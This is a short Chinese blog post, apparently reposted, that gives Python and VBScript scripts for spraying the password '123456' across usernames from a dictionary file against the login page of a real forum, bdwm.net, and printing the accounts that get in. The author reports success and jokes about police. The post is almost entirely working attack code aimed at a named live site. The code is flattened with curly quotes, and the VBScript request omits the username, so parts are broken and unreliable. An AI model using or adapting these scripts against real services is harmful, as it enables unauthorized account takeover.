难道真的要我破解一个么？算了，正好试试我的python水平。 python版
代码如下:
#coding: gbk import httplib, urllib def check(username, password): params = urllib.urlencode( {‘userid’: username, ‘passwd’: password}) headers = {“content-type”: “application/x-www-form-urlencoded”} conn = httplib.httpsconnection(“www.bdwm.net”) conn.request(“post”, “/bbs/bbslog2.php”, params, headers) res = conn.getresponse().read() conn.close() if res.find(“密码不正确”) != -1: return false elif res.find(“不存在这个用户”) != -1: return false else: return true for i in open(“english.dic”): if check(i.rstrip(),”123456″): print i
顺便也写了个vbs版的，感觉貌似vbs比较快，感觉出问题了？
代码如下:
dim fso set fso = createobject(“scripting.filesystemobject”) with fso.opentextfile(“english.dic”,1) do until .atendofstream id = .readline if check(id,”123456″) then wscript.echo id & vbtab &”ok” end if loop end with function check(username,password) dim http set http = createobject(“msxml2.xmlhttp”) http.open _ “post”,”https://www.bdwm.net/bbs/bbslog2.php”,false http.setrequestheader _ “content-type”,”application/x-www-form-urlencoded” http.send “user&passwd=” & password response = ansitounicode(http.responsebody) if instr(response,”密码不正确”) then check = false elseif instr(response,”不存在这个用户”) then check = false else check = true end if end function function ansitounicode(str) dim ado set ado = createobject(“adodb.stream”) ado.type = 1 ado.open ado.write str ado.position = 0 ado.type = 2 ado.charset = “gb2312” ansitounicode = ado.readtext end function
事实证明，123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。 原文：http://demon.tw/programming/python-a-little-trial.html